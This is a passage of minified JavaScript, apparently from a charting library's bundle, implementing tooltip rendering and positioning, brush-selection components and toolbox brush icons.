n=this.el,r=n.style,i=this._styleCoord;n.innerHTML?r.cssText=$Z+aQ(e,!this._firstShow,this._longHide,this._enableDisplayTransition)+rQ(i[0],i[1],!0)+(`border-color:`+xg(t)+`;`)+(e.get(`extraCssText`)||``)+(`;pointer-events:`+(this._enterable?`auto`:`none`)):r.display=`none`,this._show=!0,this._firstShow=!1,this._longHide=!1},e.prototype.setContent=function(e,t,n,r,i){var a=this.el;if(e==null){a.innerHTML=``;return}var o=``;if(H(i)&&n.get(`trigger`)===`item`&&!GZ(n)&&(o=tQ(n,r,i)),H(e))a.innerHTML=e+o;else if(e){a.innerHTML=``,B(e)||(e=[e]);for(var s=0;s<e.length;s++)vt(e[s])&&e[s].parentNode!==a&&a.appendChild(e[s]);if(o&&a.childNodes.length){var c=document.createElement(`div`);c.innerHTML=o,a.appendChild(c)}}},e.prototype.setEnterable=function(e){this._enterable=e},e.prototype.getSize=function(){var e=this.el;return e?[e.offsetWidth,e.offsetHeight]:[0,0]},e.prototype.moveTo=function(e,t){if(this.el){var n=this._styleCoord;if(oQ(n,this._zr,this._container,e,t),n[0]!=null&&n[1]!=null){var r=this.el.style;L(rQ(n[0],n[1]),function(e){r[e[0]]=e[1]})}}},e.prototype._moveIfResized=function(){var e=this._styleCoord[2],t=this._styleCoord[3];this.moveTo(e*this._zr.getWidth(),t*this._zr.getHeight())},e.prototype.hide=function(){var e=this,t=this.el.style;this._enableDisplayTransition?(t.visibility=`hidden`,t.opacity=`0`):t.display=`none`,Ne.transform3dSupported&&(t.willChange=``),this._show=!1,this._longHideTimeout=setTimeout(function(){return e._longHide=!0},500)},e.prototype.hideLater=function(e){this._show&&!(this._inContent&&this._enterable)&&!this._alwaysShowContent&&(e?(this._hideDelay=e,this._show=!1,this._hideTimeout=setTimeout(z(this.hide,this),e)):this.hide())},e.prototype.isShow=function(){return this._show},e.prototype.dispose=function(){clearTimeout(this._hideTimeout),clearTimeout(this._longHideTimeout);var e=this._zr;gn(e&&e.painter&&e.painter.getViewportRoot(),this._container);var t=this.el;if(t){t.onmouseenter=t.onmousemove=t.onmouseleave=null;var n=t.parentNode;n&&n.removeChild(t)}this.el=this._container=null},e}(),cQ=function(){function e(e){this._show=!1,this._styleCoord=[0,0,0,0],this._alwaysShowContent=!1,this._enterable=!0,this._zr=e.getZr(),dQ(this._styleCoord,this._zr,e.getWidth()/2,e.getHeight()/2)}return e.prototype.update=function(e){var t=e.get(`alwaysShowContent`);t&&this._moveIfResized(),this._alwaysShowContent=t},e.prototype.show=function(){this._hideTimeout&&clearTimeout(this._hideTimeout),this.el.show(),this._show=!0},e.prototype.setContent=function(e,t,n,r,i){var a=this;U(e)&&Ps(``),this.el&&this._zr.remove(this.el);var o=n.getModel(`textStyle`);this.el=new Hu({style:{rich:t.richTextStyles,text:e,lineHeight:22,borderWidth:1,borderColor:r,textShadowColor:o.get(`textShadowColor`),fill:n.get([`textStyle`,`color`]),padding:ub(n,`richText`),verticalAlign:`top`,align:`left`},z:n.get(`z`)}),L([`backgroundColor`,`borderRadius`,`shadowColor`,`shadowBlur`,`shadowOffsetX`,`shadowOffsetY`],function(e){a.el.style[e]=n.get(e)}),L([`textShadowBlur`,`textShadowOffsetX`,`textShadowOffsetY`],function(e){a.el.style[e]=o.get(e)||0}),this._zr.add(this.el);var s=this;this.el.on(`mouseover`,function(){s._enterable&&(clearTimeout(s._hideTimeout),s._show=!0),s._inContent=!0}),this.el.on(`mouseout`,function(){s._enterable&&s._show&&s.hideLater(s._hideDelay),s._inContent=!1})},e.prototype.setEnterable=function(e){this._enterable=e},e.prototype.getSize=function(){var e=this.el,t=this.el.getBoundingRect(),n=uQ(e.style);return[t.width+n.left+n.right,t.height+n.top+n.bottom]},e.prototype.moveTo=function(e,t){var n=this.el;if(n){var r=this._styleCoord;dQ(r,this._zr,e,t),e=r[0],t=r[1];var i=n.style,a=lQ(i.borderWidth||0),o=uQ(i);n.x=e+a+o.left,n.y=t+a+o.top,n.markRedraw()}},e.prototype._moveIfResized=function(){var e=this._styleCoord[2],t=this._styleCoord[3];this.moveTo(e*this._zr.getWidth(),t*this._zr.getHeight())},e.prototype.hide=function(){this.el&&this.el.hide(),this._show=!1},e.prototype.hideLater=function(e){this._show&&!(this._inContent&&this._enterable)&&!this._alwaysShowContent&&(e?(this._hideDelay=e,this._show=!1,this._hideTimeout=setTimeout(z(this.hide,this),e)):this.hide())},e.prototype.isShow=function(){return this._show},e.prototype.dispose=function(){this._zr.remove(this.el)},e}();function lQ(e){return Math.max(0,e)}function uQ(e){var t=lQ(e.shadowBlur||0),n=lQ(e.shadowOffsetX||0),r=lQ(e.shadowOffsetY||0);return{left:lQ(t-n),right:lQ(t+n),top:lQ(t-r),bottom:lQ(t+r)}}function dQ(e,t,n,r){e[0]=n,e[1]=r,e[2]=e[0]/t.getWidth(),e[3]=e[1]/t.getHeight()}var fQ=new Lu({shape:{x:-1,y:-1,width:2,height:2}}),pQ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t){if(!(Ne.node||!t.getDom())){var n=e.getComponent(`tooltip`),r=this._renderMode=hc(n.get(`renderMode`));this._tooltipContent=r===`richText`?new cQ(t):new sQ(t,{appendTo:n.get(`appendToBody`,!0)?`body`:n.get(`appendTo`,!0)})}},t.prototype.render=function(e,t,n){if(!(Ne.node||!n.getDom())){this.group.removeAll(),this._tooltipModel=e,this._ecModel=t,this._api=n;var r=this._tooltipContent;r.update(e),r.setEnterable(e.get(`enterable`)),this._initGlobalListener(),this._keepShow(),this._renderMode!==`richText`&&e.get(`transitionDuration`)?Bb(this,`_updatePosition`,50,`fixRate`):Vb(this,`_updatePosition`)}},t.prototype._initGlobalListener=function(){var e=this._tooltipModel.get(`triggerOn`);_q(`itemTooltip`,this._api,z(function(t,n,r){e!==`none`&&(e.indexOf(t)>=0?this._tryShow(n,r):t===`leave`&&this._hide(r))},this))},t.prototype._keepShow=function(){var e=this._tooltipModel,t=this._ecModel,n=this._api,r=e.get(`triggerOn`);if(this._lastX!=null&&this._lastY!=null&&r!==`none`&&r!==`click`){var i=this;clearTimeout(this._refreshUpdateTimeout),this._refreshUpdateTimeout=setTimeout(function(){!n.isDisposed()&&i.manuallyShowTip(e,t,n,{x:i._lastX,y:i._lastY,dataByCoordSys:i._lastDataByCoordSys})})}},t.prototype.manuallyShowTip=function(e,t,n,r){if(!(r.from===this.uid||Ne.node||!n.getDom())){var i=hQ(r,n);this._ticket=``;var a=r.dataByCoordSys,o=bQ(r,t,n);if(o){var s=o.el.getBoundingRect().clone();s.applyTransform(o.el.transform),this._tryShow({offsetX:s.x+s.width/2,offsetY:s.y+s.height/2,target:o.el,position:r.position,positionDefault:`bottom`},i)}else if(r.tooltip&&r.x!=null&&r.y!=null){var c=fQ;c.x=r.x,c.y=r.y,c.update(),Z(c).tooltipConfig={name:null,option:r.tooltip},this._tryShow({offsetX:r.x,offsetY:r.y,target:c},i)}else if(a)this._tryShow({offsetX:r.x,offsetY:r.y,position:r.position,dataByCoordSys:a,tooltipOption:r.tooltipOption},i);else if(r.seriesIndex!=null){if(this._manuallyAxisShowTip(e,t,n,r))return;var l=Tq(r,t),u=l.point[0],d=l.point[1];u!=null&&d!=null&&this._tryShow({offsetX:u,offsetY:d,target:l.el,position:r.position,positionDefault:`bottom`},i)}else r.x!=null&&r.y!=null&&(n.dispatchAction({type:`updateAxisPointer`,x:r.x,y:r.y}),this._tryShow({offsetX:r.x,offsetY:r.y,position:r.position,target:n.getZr().findHover(r.x,r.y).target},i))}},t.prototype.manuallyHideTip=function(e,t,n,r){var i=this._tooltipContent;this._tooltipModel&&i.hideLater(this._tooltipModel.get(`hideDelay`)),this._lastX=this._lastY=this._lastDataByCoordSys=null,r.from!==this.uid&&this._hide(hQ(r,n))},t.prototype._manuallyAxisShowTip=function(e,t,n,r){var i=r.seriesIndex,a=r.dataIndex,o=t.getComponent(`axisPointer`).coordSysAxesInfo;if(!(i==null||a==null||o==null)){var s=t.getSeriesByIndex(i);if(s&&mQ([s.getData().getItemModel(a),s,(s.coordinateSystem||{}).model],this._tooltipModel).get(`trigger`)===`axis`)return n.dispatchAction({type:`updateAxisPointer`,seriesIndex:i,dataIndex:a,position:r.position}),!0}},t.prototype._tryShow=function(e,t){var n=e.target;if(this._tooltipModel){this._lastX=e.offsetX,this._lastY=e.offsetY;var r=e.dataByCoordSys;if(r&&r.length)this._showAxisTooltip(r,e);else if(n){if(Z(n).ssrType===`legend`)return;this._lastDataByCoordSys=null;var i,a;Ax(n,function(e){if(e.tooltipDisabled)return i=a=null,!0;i||a||(Z(e).dataIndex==null?Z(e).tooltipConfig!=null&&(a=e):i=e)},!0),i?this._showSeriesItemTooltip(e,i,t):a?this._showComponentItemTooltip(e,a,t):this._hide(t)}else this._lastDataByCoordSys=null,this._hide(t)}},t.prototype._showOrMove=function(e,t){var n=e.get(`showDelay`);t=z(t,this),clearTimeout(this._showTimout),n>0?this._showTimout=setTimeout(t,n):t()},t.prototype._showAxisTooltip=function(e,t){var n=this._ecModel,r=this._tooltipModel,i=[t.offsetX,t.offsetY],a=mQ([t.tooltipOption],r),o=this._renderMode,s=[],c=Xy(`section`,{blocks:[],noHeader:!0}),l=[],u=new db;L(e,function(e){L(e.dataByAxis,function(e){var t=n.getComponent(e.axisDim+`Axis`,e.axisIndex),i=e.value;if(!(!t||i==null)){var a=iq(i,t.axis,n,e.seriesDataIndices,e.valueLabelOpt),d=Xy(`section`,{header:a,noHeader:!Ot(a),sortBlocks:!0,blocks:[]});c.blocks.push(d),L(e.seriesDataIndices,function(c){var f=n.getSeriesByIndex(c.seriesIndex),p=c.dataIndexInside,m=f.getDataParams(p);if(!(m.dataIndex<0)){m.axisDim=e.axisDim,m.axisIndex=e.axisIndex,m.axisType=e.axisType,m.axisId=e.axisId,m.axisValue=EE(t.axis,{value:i}),m.axisValueLabel=a,m.marker=u.makeTooltipMarker(`item`,xg(m.color),o);var h=oy(f.formatTooltip(p,!0,null)),g=h.frag;if(g){var _=mQ([f],r).get(`valueFormatter`);d.blocks.push(_?F({valueFormatter:_},g):g)}h.text&&l.push(h.text),s.push(m)}})}})}),c.blocks.reverse(),l.reverse();var d=t.position,f=nb(c,u,o,a.get(`order`),n.get(`useUTC`),a.get(`textStyle`));f&&l.unshift(f);var p=o===`richText`?`
+
+`:`<br/>`,m=l.join(p);this._showOrMove(a,function(){this._updateContentNotChangedOnAxis(e,s)?this._updatePosition(a,d,i[0],i[1],this._tooltipContent,s):this._showTooltipContent(a,m,s,Math.random()+``,i[0],i[1],d,null,u)})},t.prototype._showSeriesItemTooltip=function(e,t,n){var r=this._ecModel,i=Z(t),a=i.seriesIndex,o=r.getSeriesByIndex(a),s=i.dataModel||o,c=i.dataIndex,l=i.dataType,u=s.getData(l),d=this._renderMode,f=e.positionDefault,p=mQ([u.getItemModel(c),s,o&&(o.coordinateSystem||{}).model],this._tooltipModel,f?{position:f}:null),m=p.get(`trigger`);if(!(m!=null&&m!==`item`)){var h=s.getDataParams(c,l),g=new db;h.marker=g.makeTooltipMarker(`item`,xg(h.color),d);var _=oy(s.formatTooltip(c,!1,l)),v=p.get(`order`),y=p.get(`valueFormatter`),b=_.frag,x=b?nb(y?F({valueFormatter:y},b):b,g,d,v,r.get(`useUTC`),p.get(`textStyle`)):_.text,S=`item_`+s.name+`_`+c;this._showOrMove(p,function(){this._showTooltipContent(p,x,h,S,e.offsetX,e.offsetY,e.position,e.target,g)}),n({type:`showTip`,dataIndexInside:c,dataIndex:u.getRawIndex(c),seriesIndex:a,from:this.uid})}},t.prototype._showComponentItemTooltip=function(e,t,n){var r=this._renderMode===`html`,i=Z(t),a=i.tooltipConfig.option||{},o=a.encodeHTMLContent;if(H(a)){var s=a;a={content:s,formatter:s},o=!0}o&&r&&a.content&&(a=P(a),a.content=Cn(a.content));var c=[a],l=this._ecModel.getComponent(i.componentMainType,i.componentIndex);l&&c.push(l),c.push({formatter:a.content});var u=e.positionDefault,d=mQ(c,this._tooltipModel,u?{position:u}:null),f=d.get(`content`),p=Math.random()+``,m=new db;this._showOrMove(d,function(){var n=P(d.get(`formatterParams`)||{});this._showTooltipContent(d,f,n,p,e.offsetX,e.offsetY,e.position,t,m)}),n({type:`showTip`,from:this.uid})},t.prototype._showTooltipContent=function(e,t,n,r,i,a,o,s,c){if(this._ticket=``,!(!e.get(`showContent`)||!e.get(`show`))){var l=this._tooltipContent;l.setEnterable(e.get(`enterable`));var u=e.get(`formatter`);o||=e.get(`position`);var d=t,f=this._getNearestPoint([i,a],n,e.get(`trigger`),e.get(`borderColor`),e.get(`defaultBorderColor`,!0)).color;if(u)if(H(u)){var p=e.ecModel.get(`useUTC`),m=B(n)?n[0]:n,h=m&&m.axisType&&m.axisType.indexOf(`time`)>=0;d=u,h&&(d=Jh(m.axisValue,d,p)),d=vg(d,n,!0)}else if(V(u)){var g=z(function(t,r){t===this._ticket&&(l.setContent(r,c,e,f,o),this._updatePosition(e,o,i,a,l,n,s))},this);this._ticket=r,d=u(n,r,g)}else d=u;l.setContent(d,c,e,f,o),l.show(e,f),this._updatePosition(e,o,i,a,l,n,s)}},t.prototype._getNearestPoint=function(e,t,n,r,i){if(n===`axis`||B(t))return{color:r||i};if(!B(t))return{color:r||t.color||t.borderColor}},t.prototype._updatePosition=function(e,t,n,r,i,a,o){var s=this._api.getWidth(),c=this._api.getHeight();t||=e.get(`position`);var l=i.getSize(),u=e.get(`align`),d=e.get(`verticalAlign`),f=o&&o.getBoundingRect().clone();if(o&&f.applyTransform(o.transform),V(t)&&(t=t([n,r],a,i.el,f,{viewSize:[s,c],contentSize:l.slice()})),B(t))n=X(t[0],s),r=X(t[1],c);else if(U(t)){var p=t;p.width=l[0],p.height=l[1];var m=Ug(p,{width:s,height:c});n=m.x,r=m.y,u=null,d=null}else if(H(t)&&o){var h=vQ(t,f,l,e.get(`borderWidth`));n=h[0],r=h[1]}else{var h=gQ(n,r,i,s,c,u?null:20,d?null:20);n=h[0],r=h[1]}if(u&&(n-=yQ(u)?l[0]/2:u===`right`?l[0]:0),d&&(r-=yQ(d)?l[1]/2:d===`bottom`?l[1]:0),GZ(e)){var h=_Q(n,r,i,s,c);n=h[0],r=h[1]}i.moveTo(n,r)},t.prototype._updateContentNotChangedOnAxis=function(e,t){var n=this._lastDataByCoordSys,r=this._cbParamsList,i=!!n&&n.length===e.length;return i&&L(n,function(n,a){var o=n.dataByAxis||[],s=(e[a]||{}).dataByAxis||[];i&&=o.length===s.length,i&&L(o,function(e,n){var a=s[n]||{},o=e.seriesDataIndices||[],c=a.seriesDataIndices||[];i=i&&e.value===a.value&&e.axisType===a.axisType&&e.axisId===a.axisId&&o.length===c.length,i&&L(o,function(e,t){var n=c[t];i=i&&e.seriesIndex===n.seriesIndex&&e.dataIndex===n.dataIndex}),r&&L(e.seriesDataIndices,function(e){var n=e.seriesIndex,a=t[n],o=r[n];a&&o&&o.data!==a.data&&(i=!1)})})}),this._lastDataByCoordSys=e,this._cbParamsList=t,!!i},t.prototype._hide=function(e){this._lastDataByCoordSys=null,e({type:`hideTip`,from:this.uid})},t.prototype.dispose=function(e,t){Ne.node||!t.getDom()||(Vb(this,`_updatePosition`),this._tooltipContent.dispose(),Cq(`itemTooltip`,t))},t.type=`tooltip`,t}(Eb);function mQ(e,t,n){var r=t.ecModel,i;n?(i=new lh(n,r,r),i=new lh(t.option,i,r)):i=t;for(var a=e.length-1;a>=0;a--){var o=e[a];o&&(o instanceof lh&&(o=o.get(`tooltip`,!0)),H(o)&&(o={formatter:o}),o&&(i=new lh(o,i,r)))}return i}function hQ(e,t){return e.dispatchAction||z(t.dispatchAction,t)}function gQ(e,t,n,r,i,a,o){var s=n.getSize(),c=s[0],l=s[1];return a!=null&&(e+c+a+2>r?e-=c+a:e+=a),o!=null&&(t+l+o>i?t-=l+o:t+=o),[e,t]}function _Q(e,t,n,r,i){var a=n.getSize(),o=a[0],s=a[1];return e=Math.min(e+o,r)-o,t=Math.min(t+s,i)-s,e=Math.max(e,0),t=Math.max(t,0),[e,t]}function vQ(e,t,n,r){var i=n[0],a=n[1],o=Math.ceil(Math.SQRT2*r)+8,s=0,c=0,l=t.width,u=t.height;switch(e){case`inside`:s=t.x+l/2-i/2,c=t.y+u/2-a/2;break;case`top`:s=t.x+l/2-i/2,c=t.y-a-o;break;case`bottom`:s=t.x+l/2-i/2,c=t.y+u+o;break;case`left`:s=t.x-i-o,c=t.y+u/2-a/2;break;case`right`:s=t.x+l+o,c=t.y+u/2-a/2}return[s,c]}function yQ(e){return e===`center`||e===`middle`}function bQ(e,t,n){var r=lc(e).queryOptionMap,i=r.keys()[0];if(!(!i||i===`series`)){var a=fc(t,i,r.get(i),{useDefault:!1,enableAll:!1,enableNone:!1}).models[0];if(a){var o=n.getViewOfComponentModel(a),s;if(o.group.traverse(function(t){var n=Z(t).tooltipConfig;if(n&&n.name===e.name)return s=t,!0}),s)return{componentMainType:i,componentIndex:a.componentIndex,el:s}}}}function xQ(e){bw(Rq),e.registerComponentModel(WZ),e.registerComponentView(pQ),e.registerAction({type:`showTip`,event:`showTip`,update:`tooltip:manuallyShowTip`},zt),e.registerAction({type:`hideTip`,event:`hideTip`,update:`tooltip:manuallyHideTip`},zt)}var SQ=[`rect`,`polygon`,`keep`,`clear`];function CQ(e,t){var n=Rs(e?e.brush:[]);if(n.length){var r=[];L(n,function(e){var t=e.hasOwnProperty(`toolbox`)?e.toolbox:[];t instanceof Array&&(r=r.concat(t))});var i=e&&e.toolbox;B(i)&&(i=i[0]),i||(i={feature:{}},e.toolbox=[i]);var a=i.feature||={},o=a.brush||={},s=o.type||=[];s.push.apply(s,r),wQ(s),t&&!s.length&&s.push.apply(s,SQ)}}function wQ(e){var t={};L(e,function(e){t[e]=1}),e.length=0,L(t,function(t,n){e.push(n)})}var TQ=L;function EQ(e){if(e){for(var t in e)if(e.hasOwnProperty(t))return!0}}function DQ(e,t,n){var r={};return TQ(t,function(t){var a=r[t]=i();TQ(e[t],function(e,r){if(nR.isValidType(r)){var i={type:r,visual:e};n&&n(i,t),a[r]=new nR(i),r===`opacity`&&(i=P(i),i.type=`colorAlpha`,a.__hidden.__alphaForOpacity=new nR(i))}})}),r;function i(){var e=function(){};return e.prototype.__hidden=e.prototype,new e}}function OQ(e,t,n){var r;L(n,function(e){t.hasOwnProperty(e)&&EQ(t[e])&&(r=!0)}),r&&L(n,function(n){t.hasOwnProperty(n)&&EQ(t[n])?e[n]=P(t[n]):delete e[n]})}function kQ(e,t,n,r,i,a){var o={};L(e,function(e){o[e]=nR.prepareVisualTypes(t[e])});var s;function c(e){return Cx(n,s,e)}function l(e,t){Ex(n,s,e,t)}a==null?n.each(u):n.each([a],u);function u(e,u){s=a==null?e:u;var d=n.getRawDataItem(s);if(!(d&&d.visualMap===!1))for(var f=r.call(i,e),p=t[f],m=o[f],h=0,g=m.length;h<g;h++){var _=m[h];p[_]&&p[_].applyVisual(e,c,l)}}}function AQ(e,t,n,r){var i={};return L(e,function(e){i[e]=nR.prepareVisualTypes(t[e])}),{progress:function(e,a){var o;r!=null&&(o=a.getDimensionIndex(r));function s(e){return Cx(a,l,e)}function c(e,t){Ex(a,l,e,t)}for(var l,u=a.getStore();(l=e.next())!=null;){var d=a.getRawDataItem(l);if(!(d&&d.visualMap===!1))for(var f=r==null?l:u.get(o,l),p=n(f),m=t[p],h=i[p],g=0,_=h.length;g<_;g++){var v=h[g];m[v]&&m[v].applyVisual(f,s,c)}}}}}function jQ(e){var t=e.brushType,n={point:function(r){return MQ[t].point(r,n,e)},rect:function(r){return MQ[t].rect(r,n,e)}};return n}var MQ={lineX:NQ(0),lineY:NQ(1),rect:{point:function(e,t,n){return e&&n.boundingRect.contain(e[0],e[1])},rect:function(e,t,n){return e&&n.boundingRect.intersect(e)}},polygon:{point:function(e,t,n){return e&&n.boundingRect.contain(e[0],e[1])&&RE(n.range,e[0],e[1])},rect:function(e,t,n){var r=n.range;if(!e||r.length<=1)return!1;var i=e.x,a=e.y,o=e.width,s=e.height,c=r[0];if(RE(r,i,a)||RE(r,i+o,a)||RE(r,i,a+s)||RE(r,i+o,a+s)||J.create(e).contain(c[0],c[1])||_m(i,a,i+o,a,r)||_m(i,a,i,a+s,r)||_m(i+o,a,i+o,a+s,r)||_m(i,a+s,i+o,a+s,r))return!0}}};function NQ(e){var t=[`x`,`y`],n=[`width`,`height`];return{point:function(t,n,r){if(t){var i=r.range,a=t[e];return PQ(a,i)}},rect:function(r,i,a){if(r){var o=a.range,s=[r[t[e]],r[t[e]]+r[n[e]]];return s[1]<s[0]&&s.reverse(),PQ(s[0],o)||PQ(s[1],o)||PQ(o[0],s)||PQ(o[1],s)}}}}function PQ(e,t){return t[0]<=e&&e<=t[1]}var FQ=[`inBrush`,`outOfBrush`],IQ=`__ecBrushSelect`,LQ=`__ecInBrushSelectEvent`;function RQ(e){e.eachComponent({mainType:`brush`},function(t){(t.brushTargetManager=new wZ(t.option,e)).setInputRanges(t.areas,e)})}function zQ(e,t,n){var r=[],i,a;e.eachComponent({mainType:`brush`},function(e){n&&n.type===`takeGlobalCursor`&&e.setBrushOption(n.key===`brush`?n.brushOption:{brushType:!1})}),RQ(e),e.eachComponent({mainType:`brush`},function(t,n){var o={brushId:t.id,brushIndex:n,brushName:t.name,areas:P(t.areas),selected:[]};r.push(o);var s=t.option,c=s.brushLink,l=[],u=[],d=[],f=!1;n||(i=s.throttleType,a=s.throttleDelay);var p=R(t.areas,function(e){var t=WQ[e.brushType],n=I({boundingRect:t?t(e):void 0},e);return n.selectors=jQ(n),n}),m=DQ(t.option,FQ,function(e){e.mappingMethod=`fixed`});B(c)&&L(c,function(e){l[e]=1});function h(e){return c===`all`||!!l[e]}function g(e){return!!e.length}e.eachSeries(function(e,t){var n=d[t]=[];e.subType===`parallel`?_(e,t):v(e,t,n)});function _(e,t){var n=e.coordinateSystem;f||=n.hasAxisBrushed(),h(t)&&n.eachActiveState(e.getData(),function(e,t){e===`active`&&(u[t]=1)})}function v(n,r,i){if(!(!n.brushSelector||UQ(t,r))&&(L(p,function(r){t.brushTargetManager.controlSeries(r,n,e)&&i.push(r),f||=g(i)}),h(r)&&g(i))){var a=n.getData();a.each(function(e){HQ(n,i,a,e)&&(u[e]=1)})}}e.eachSeries(function(e,t){var n={seriesId:e.id,seriesIndex:t,seriesName:e.name,dataIndex:[]};o.selected.push(n);var r=d[t],i=e.getData(),a=h(t)?function(e){return u[e]?(n.dataIndex.push(i.getRawIndex(e)),`inBrush`):`outOfBrush`}:function(t){return HQ(e,r,i,t)?(n.dataIndex.push(i.getRawIndex(t)),`inBrush`):`outOfBrush`};(h(t)?f:g(r))&&kQ(FQ,m,i,a)})}),BQ(t,i,a,r,n)}function BQ(e,t,n,r,i){if(i){var a=e.getZr();a[LQ]||(a[IQ]||(a[IQ]=VQ),Bb(a,IQ,n,t)(e,r))}}function VQ(e,t){if(!e.isDisposed()){var n=e.getZr();n[LQ]=!0,e.dispatchAction({type:`brushSelect`,batch:t}),n[LQ]=!1}}function HQ(e,t,n,r){for(var i=0,a=t.length;i<a;i++){var o=t[i];if(e.brushSelector(r,n,o.selectors,o))return!0}}function UQ(e,t){var n=e.option.seriesIndex;return n!=null&&n!==`all`&&(B(n)?it(n,t)<0:t!==n)}var WQ={rect:function(e){return GQ(e.range)},polygon:function(e){for(var t,n=e.range,r=0,i=n.length;r<i;r++){t||=[[1/0,-1/0],[1/0,-1/0]];var a=n[r];a[0]<t[0][0]&&(t[0][0]=a[0]),a[0]>t[0][1]&&(t[0][1]=a[0]),a[1]<t[1][0]&&(t[1][0]=a[1]),a[1]>t[1][1]&&(t[1][1]=a[1])}return t&&GQ(t)}};function GQ(e){return new J(e[0][0],e[1][0],e[0][1]-e[0][0],e[1][1]-e[1][0])}var KQ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t){this.ecModel=e,this.api=t,this.model,(this._brushController=new jV(t.getZr())).on(`brush`,z(this._onBrush,this)).mount()},t.prototype.render=function(e,t,n,r){this.model=e,this._updateController(e,t,n,r)},t.prototype.updateTransform=function(e,t,n,r){RQ(t),this._updateController(e,t,n,r)},t.prototype.updateVisual=function(e,t,n,r){this.updateTransform(e,t,n,r)},t.prototype.updateView=function(e,t,n,r){this._updateController(e,t,n,r)},t.prototype._updateController=function(e,t,n,r){(!r||r.$from!==e.id)&&this._brushController.setPanels(e.brushTargetManager.makePanelOpts(n)).enableBrush(e.brushOption).updateCovers(e.areas.slice())},t.prototype.dispose=function(){this._brushController.dispose()},t.prototype._onBrush=function(e){var t=this.model.id,n=this.model.brushTargetManager.setOutputRanges(e.areas,this.ecModel);(!e.isEnd||e.removeOnClick)&&this.api.dispatchAction({type:`brush`,brushId:t,areas:P(n),$from:t}),e.isEnd&&this.api.dispatchAction({type:`brushEnd`,brushId:t,areas:P(n),$from:t})},t.type=`brush`,t}(Eb),qQ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.areas=[],n.brushOption={},n}return t.prototype.optionUpdated=function(e,t){var n=this.option;!t&&OQ(n,e,[`inBrush`,`outOfBrush`]);var r=n.inBrush=n.inBrush||{};n.outOfBrush=n.outOfBrush||{color:this.option.defaultOutOfBrushColor},r.hasOwnProperty(`liftZ`)||(r.liftZ=5)},t.prototype.setAreas=function(e){e&&(this.areas=R(e,function(e){return JQ(this.option,e)},this))},t.prototype.setBrushOption=function(e){this.brushOption=JQ(this.option,e),this.brushType=this.brushOption.brushType},t.type=`brush`,t.dependencies=[`geo`,`grid`,`xAxis`,`yAxis`,`parallel`,`series`],t.defaultOption={seriesIndex:`all`,brushType:`rect`,brushMode:`single`,transformable:!0,brushStyle:{borderWidth:1,color:Q.color.backgroundTint,borderColor:Q.color.borderTint},throttleType:`fixRate`,throttleDelay:0,removeOnClick:!0,z:1e4,defaultOutOfBrushColor:Q.color.disabled},t}(e_);function JQ(e,t){return nt({brushType:e.brushType,brushMode:e.brushMode,transformable:e.transformable,brushStyle:new lh(e.brushStyle).getItemStyle(),removeOnClick:e.removeOnClick,z:e.z},t,!0)}var YQ=[`rect`,`polygon`,`lineX`,`lineY`,`keep`,`clear`],XQ=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.render=function(e,t,n){var r,i,a;t.eachComponent({mainType:`brush`},function(e){r=e.brushType,i=e.brushOption.brushMode||`single`,a||=!!e.areas.length}),this._brushType=r,this._brushMode=i,L(e.get(`type`,!0),function(t){e.setIconStatus(t,(t===`keep`?i===`multiple`:t===`clear`?a:t===r)?`emphasis`:`normal`)})},t.prototype.updateView=function(e,t,n){this.render(e,t,n)},t.prototype.getIcons=function(){var e=this.model,t=e.get(`icon`,!0),n={};return L(e.get(`type`,!0),function(e){t[e]&&(n[e]=t[e])}),n},t.prototype.onclick=function(e,t,n){var r=this._brushType,i=this._brushMode;n===`clear`?(t.dispatchAction({type:`axisAreaSelect`,intervals:[]}),t.dispatchAction({type:`brush`,command:`clear`,areas:[]})):t.dispatchAction({type:`takeGlobalCursor`,key:`brush`,brushOption:{brushType:n===`keep`?r:r===n?!1:n,brushMode:n===`keep`?i===`multiple`?`single`:`multiple`:i}})},t.getDefaultOption=function(e){return{show:!0,type:YQ.slice(),icon:{rect:`M7.3,34.7 M0.4,10V-0.2h9.8 M89.6,10V-0.2h-9.8 M0.4,60v10.2h9.8 M89.6,60v10.2h-9.8 M12.3,22.4V10.5h13.1 M33.6,10.5h7.8 M49.1,10.5h7.8 M77.5,22.4V10.5h-13 M12.3,31.1v8.2 M77.7,31.1v8.2 M12.3,47.6v11.9h13.1 M33.6,59.5h7.6 M49.1,59.5 h7.7 M77.5,47.6v11.9h-13`,polygon:`M55.2,34.9c1.7,0,3.1,1.4,3.1,3.1s-1.4,3.1-3.1,3.1 s-3.1-1.4-3.1-3.1S53.5,34.9,55.2,34.9z M50.4,51c1.7,0,3.1,1.4,3.1,3.1c0,1.7-1.4,3.1-3.1,3.1c-1.7,0-3.1-1.4-3.1-3.1 C47.3,52.4,48.7,51,50.4,51z M55.6,37.1l1.5-7.8 M60.1,13.5l1.6-8.7l-7.8,4 M59,19l-1,5.3 M24,16.1l6.4,4.9l6.4-3.3 M48.5,11.6 l-5.9,3.1 M19.1,12.8L9.7,5.1l1.1,7.7 M13.4,29.8l1,7.3l6.6,1.6 M11.6,18.4l1,6.1 M32.8,41.9 M26.6,40.4 M27.3,40.2l6.1,1.6 M49.9,52.1l-5.6-7.6l-4.9-1.2`,lineX:`M15.2,30 M19.7,15.6V1.9H29 M34.8,1.9H40.4 M55.3,15.6V1.9H45.9 M19.7,44.4V58.1H29 M34.8,58.1H40.4 M55.3,44.4 V58.1H45.9 M12.5,20.3l-9.4,9.6l9.6,9.8 M3.1,29.9h16.5 M62.5,20.3l9.4,9.6L62.3,39.7 M71.9,29.9H55.4`,lineY:`M38.8,7.7 M52.7,12h13.2v9 M65.9,26.6V32 M52.7,46.3h13.2v-9 M24.9,12H11.8v9 M11.8,26.6V32 M24.9,46.3H11.8v-9 M48.2,5.1l-9.3-9l-9.4,9.2 M38.9-3.9V12 M48.2,53.3l-9.3,9l-9.4-9.2 M38.9,62.3V46.4`,keep:`M4,10.5V1h10.3 M20.7,1h6.1 M33,1h6.1 M55.4,10.5V1H45.2 M4,17.3v6.6 M55.6,17.3v6.6 M4,30.5V40h10.3 M20.7,40 h6.1 M33,40h6.1 M55.4,30.5V40H45.2 M21,18.9h62.9v48.6H21V18.9z`,clear:`M22,14.7l30.9,31 M52.9,14.7L22,45.7 